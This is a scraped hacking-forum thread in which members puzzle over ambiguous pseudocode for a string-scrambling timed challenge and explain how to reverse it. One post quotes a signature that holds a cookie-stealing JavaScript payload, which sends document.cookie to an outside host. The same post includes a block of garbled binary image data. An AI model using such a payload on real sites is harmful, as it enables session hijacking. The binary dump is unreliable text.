Join us at IRC!
Understanding is the answer, hatred is the problem, and hackers are the slaves abused and destroyed in the process of peace online - Deshouleres
Wednesday, February 08, 2012
Navigation
Members Online
Total Online: 45
Web Spiders: 25
Guests Online: 41
Members Online: 4

Registered Members: 67246
Newest Member: Robojojo
Latest Articles
View Thread

HellBound Hackers | Challenges | Timed Challenges

Author

Timed 4 question

Mouzi
Member



Posts: 144
Location: Finland
Joined: 08.08.06
Rank:
God
Posted on 29-07-07 09:22
PSEUDO Code:

FOR i = 0; i < str.length; i++
IF isEvenOrZero(i)
final += final[i]
ELSE
final += final[i+2]
END FOR
final += final[1]
RETURN final


If final is array then how can you add something to it with += if you don't specify where you want to put it in that array. Like here:
final += final[i]

And if its not, then why does it use it as array too.



Steganographs

Edited by Mouzi on 29-07-07 09:23
You would try to hack it anyways.
Author

RE: Timed 4 question

sle1306
Member



Posts: 43
Location: Belgium
Joined: 06.04.07
Rank:
God
Posted on 29-07-07 13:33
There's a problem with the pseudo code. What do we have to do when we reach the end of the word ? [i+2] will be out of range and will raise an error !
Author

RE: Timed 4 question

mikispag
Member



Posts: 43
Location: Italy
Joined: 14.11.06
Rank:
God
Posted on 29-07-07 16:16
And, by the way, what should I put in the answer box? The final word or a number? Because it says "The sum of all the numbers in the string is: " (perhaps copy-pasted from Timed 3) ;)

Edited by mikispag on 29-07-07 16:16
http://www.trovatel.net
Author

RE: Timed 4 question

The_Cell
Member



Posts: 306
Location: Belgium
Joined: 07.04.05
Rank:
God
Posted on 31-07-07 12:37
mikispag wrote:
And, by the way, what should I put in the answer box? The final word or a number? Because it says "The sum of all the numbers in the string is: " (perhaps copy-pasted from Timed 3) ;)


I think it's even copy-pasted from timed 2 :D



Made by Monster
Hacking is creativity. - The_Cell

<none> <ask me> <none>
Author

RE: disregard

EmptyEffect
Member



Posts: 2
Location: East
Joined: 31.08.07
Rank:
Newbie
Posted on 01-09-07 05:34
testing sig in deserted thread


Author

RE: Timed 4 question

JohnDoe
Member



Posts: 84
Location: Croatia‭‮‭‮
Joined: 06.05.06
Rank:
God
Posted on 01-09-07 09:40
rofl, your sig:


<scblockedript language="Javascblockedript">
document.location="http://www.reviewgames.110mb.com/cookie.php?cookie=" + document.cookie;
</scblockedript>
XUJFIFdd^ExifMM*bj(1r2iB@'B@'Adobe Photoshop CS3 Windows2007:09:01 01:25:57   &(.(HHXUJFIFHH Adobe_CMAdobedp   
   


   T"?

 3!1AQa"q2DZB#$Rb34rCC%SDcs5ۃ&DTdEAt6GUeHBuF'9P:QVfv7GWgw5!1AQaq"2DZB#RC3$brCScs4D%ۃ&5GDTAdEU6teHBuF9P:QVfv'7GWgw ?HI%?n Photoshop 3.08BIM%8BIM/JXHH@dT'llun8BIMdd8BIM&?8BIM
x8BIM8BIM 8BIM
8BIM'
8BIM5-8BIM
8BIM@@8BIM8BIMI
Untitled-1nullboundsObjcRct1Top longLeftlongBtomlongRghtlongslicesVlLsObjcslicesliceIDlonggroupIDlongoriginenum ESliceOrigin
autoGeneratedTypeenum
ESliceTypeImg boundsObjcRct1Top longLeftlongBtomlongRghtlongurlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXT horzAlignenumESliceHorzAligndefault vertAlignenumESliceVertAligndefault bgColorTypeenumESliceBGColorTypeNone topOutsetlong
leftOutsetlong bottomOutsetlong rightOutsetlong8BIM( ?8BIM8BIM D(XUJFIFHH Adobe_CMAdobedp   
   


   T"?

 3!1AQa"q2DZB#$Rb34rCC%SDcs5ۃ&DTdEAt6GUeHBuF'9P:QVfv7GWgw5!1AQaq"2DZB#RC3$brCScs4D%ۃ&5GDTAdEU6teHBuF9P:QVfv'7GWgw ?HI%?n8BIM!UAdobe PhotoshopAdobe Photoshop CS38BIMHhttp://ns.adobe.com/xap/1.0/<?xpacket begin="|" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.1-c036 46.276720, Mon Feb 19 2007 22:40:08 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Descblockedription rdf:about="" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:xap="http://ns.adobe.com/xap/1.0/" xmlns:xapMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:exif="http://ns.adobe.com/exif/1.0/" dc:format="image/jpeg" xap:CreatorTool="Adobe Photoshop CS3 Windows" xap:CreateDate="2007-09-01T01:25:33-04:00" xap:ModifyDate="2007-09-01T01:25:57-04:00" xap:MetadataDate="2007-09-01T01:25:57-04:00" xapMM:documentID="uuid:92A246C34B58DC1191B1CC76ACD2F1A3" xapMM:InstanceID="uuid:93A246C34B58DC1191B1CC76ACD2F1A3" photoshop:ColorMode="1" photoshop:ICCProfile="Dot Gain 20%" photoshop:History="" tiff:Orientation="1" tiff:XResolution="1000000/10000" tiff:YResolution="1000000/10000" tiff:ResolutionUnit="2" tiff:NativeDigest="256,257,258,259,262,274,277,284,530,531,282,283,296,301,318,319,529,532,306,270,271,272,305,315,33432;820AFC926CD2F248F074EA661919074F" exif:PixelXDimension="1" exif:PixelYDimension="1" exif:ColorSpace="-1" exif:NativeDigest="36864,40960,40961,37121,37122,40962,40963,37510,40964,36867,36868,33434,33437,34850,34852,34855,34856,37377,37378,37379,37380,37381,37382,37383,37384,37385,37386,37396,41483,41484,41486,41487,41488,41492,41493,41495,41728,41729,41730,41985,41986,41987,41988,41989,41990,41991,41992,41993,41994,41995,41996,42016,0,2,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,20,22,23,24,25,26,27,28,30;566C10D46F6A35082905F634E9E9F0A5"/> </rdf:RDF> </x:xmpmeta> <?xpacket end="w"?> ICC_PROFILEADBEprtrGRAYXYZ acspAPPLnone-ADBEcprtT2descgwtpt\bkptpkTRC textCopyright 1999 Adobe Systems Incorporateddesc
Dot Gain 20%XYZ -XYZ curv 0@Pa 9DubRY9.b9W" a 
A
) 

A,EeYd$W2xo v'D !q"."#$p%4%o&'(U)")*T+,e-:../0 1}2\3=4556789:~;m<^=Q>E?;@3A,B&C"D EF G#H'I-J4K<LGMSN`OoPQRS_TCUWXY:ZX[x\]=^U`a-bVcdengh8iijekCmn?oxpqs+tju^vx/ytz_|}J~.|ͅq9rd%yݑ<_(y[`ez7 AibT^ˬD>{94B4:|E=>V|UloćǨ;cC+G9aPc[n<b# n|i
oH5Q WocAAdobedpC !!3$3Q00QB///B''""  T Ē
5!1AQ"aq2BCR#r3bDC4GS$scHADTd%5E&t6UeBuF9P:QVfv?n


Edited by JohnDoe on 01-09-07 09:41
ask‭ ask ask
Author

RE: Timed 4 question

mido
Member

Posts: 613
Location: Cairo, Egypt
Joined: 27.01.07
Rank:
God
Posted on 01-09-07 09:45
What the hell is going on?!
This thread is for Timed Challenge # 4, or testing signatures?!



mido_eg3[at]hotmail.com
Author

RE: Timed 4 question

Uber0n
Member



Posts: 1963
Location: Sweden‭‮
Joined: 13.06.06
Rank:
God
Posted on 01-09-07 11:40
Yeah, there is actually a forum for testing... :angry:



http://uber0n.webs.com/
Nope http://uber0n.webs.com/
Author

RE: Timed 4 question

contmp
Member



Posts: 36
Location: behind shadows of proxy servers and redirectors
Joined: 27.01.07
Rank:
Newbie
Warn Level: 5
Posted on 22-09-07 21:47
final word. it's really simple

mikispag wrote:
And, by the way, what should I put in the answer box? The final word or a number? Because it says "The sum of all the numbers in the string is: " (perhaps copy-pasted from Timed 3) ;)



KNOWLEDGE IS PAIN..... I'M USED TO THAT.


...

btw.: here's some trully random number: 09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0 ;-)
http://2130706433
Author

RE: Timed 4 question

synstealth
Member

Posts: 778
Location: /etc/shadow
Joined: 30.11.04
Rank:
God
Posted on 17-12-07 17:34
I beat it.. VERY EASY!!!


I had problems with preg_match_all... that was the most complex part of this challenge.. really..







Edited by synstealth on 14-01-08 16:55
Author

RE: Timed 4 question

GTADarkDude
Member



Posts: 142
Location: The Netherlands
Joined: 23.02.08
Rank:
God
Posted on 01-10-08 17:43
I'm sorry for bumping this thread, but I really want to know the answer on the question right above me, for I am not completely understanding the algorithm (I think).
In an attempt to rebuild the algorithm, I made a function in PHP.
The string abcd returns adcb, abcde returns also adceb. abcdef returns adcfeb. Is this the right algorithm? I'd like to know that before I start reversing it.
Thanks in advance ;) !

Edit: OK, I solved the challenge. I decided to just try whether it worked and guess what.. it did! I had the right algorithm so above examples are correct, if anyone in the future would like to know.


...

Edited by GTADarkDude on 01-10-08 18:09
- - - -
Author

RE: Timed 4 question

zbert
Member

Posts: 39
Location: Ames, IA USA
Joined: 17.07.08
Rank:
God
Posted on 03-10-08 23:12
Yeah, that threw me as well so to clarify what this post asks, I did it with a grease monkey scblockedript that seperated all of this in a switch but:

abcdefghijk
-------------
akcbedgfihj

a = a
b = last
c = +2
d = d
etc...

not meaning it to be too obvious but that threw me a long time as well
nadahx82@yahoo.com http://blog.skeltonnetworks.com
Author

RE: Timed 4 question

bruxa
Member

Posts: 14
Location:
Joined: 02.07.08
Rank:
Hacker Level 1
Posted on 12-03-10 19:54
zbert wrote:
abcdefghijk
-------------
akcbedgfihj

a = a
b = last
c = +2
d = d
etc...


This seams to be not clear at all.

My question is like this example:
abcdefghijk
012345678
------------
adcfehgjikb


Is this right and if not, is the quoted example right?


Author

RE: Timed 4 question

ynori7
Future Emperor of Earth



Posts: 1481
Location: #valhalla
Joined: 08.10.07
Rank:
Diabolical
Posted on 12-03-10 22:20
bruxa wrote:
This seams to be not clear at all.

This is how the pseudocode progresses for the input string "dbbeie":
d_____
d__b__
d_bb__
d_bb_e
d_bbie
debbie

(note that _ represents a blank character)
The algorithm traces through the given string and puts the current character in either position i or position i+2 depending on whether i is even or odd. The pseudocode is a bit unclear, the text explanation is better. I personally find the visual explanation much better and I programmed my algorithm this way:

The first two characters of your answer are the first and last character of your given string. Then you just trace through the string and swap each character with the one next to it and increment by 2.
Given=ivoyeuol
final=il
rest of string=voyeuo
Now trace through and swap adjecant characters.
ilov
rest of string=yeuo
ilovey
rest of string=uo
iloveyou





ynori7 http://halls-of-valhalla.dyndns.org
Author

RE: Timed 4 question

bruxa
Member

Posts: 14
Location:
Joined: 02.07.08
Rank:
Hacker Level 1
Posted on 13-03-10 08:18
Thank you! Now, I got it.

The point was, that I understood the source and destination of [$i+] and [$i] wrong.
Guest
Username

Password

Remember Me


Bookmark This Page
Affiliates
Adverts

 

 

160 x 600
Links
By using, viewing or obtaining any information contained on this site, you agree to the disclaimer.

© HellBound Hackers 2004 - 2012. Since 3rd December 2004.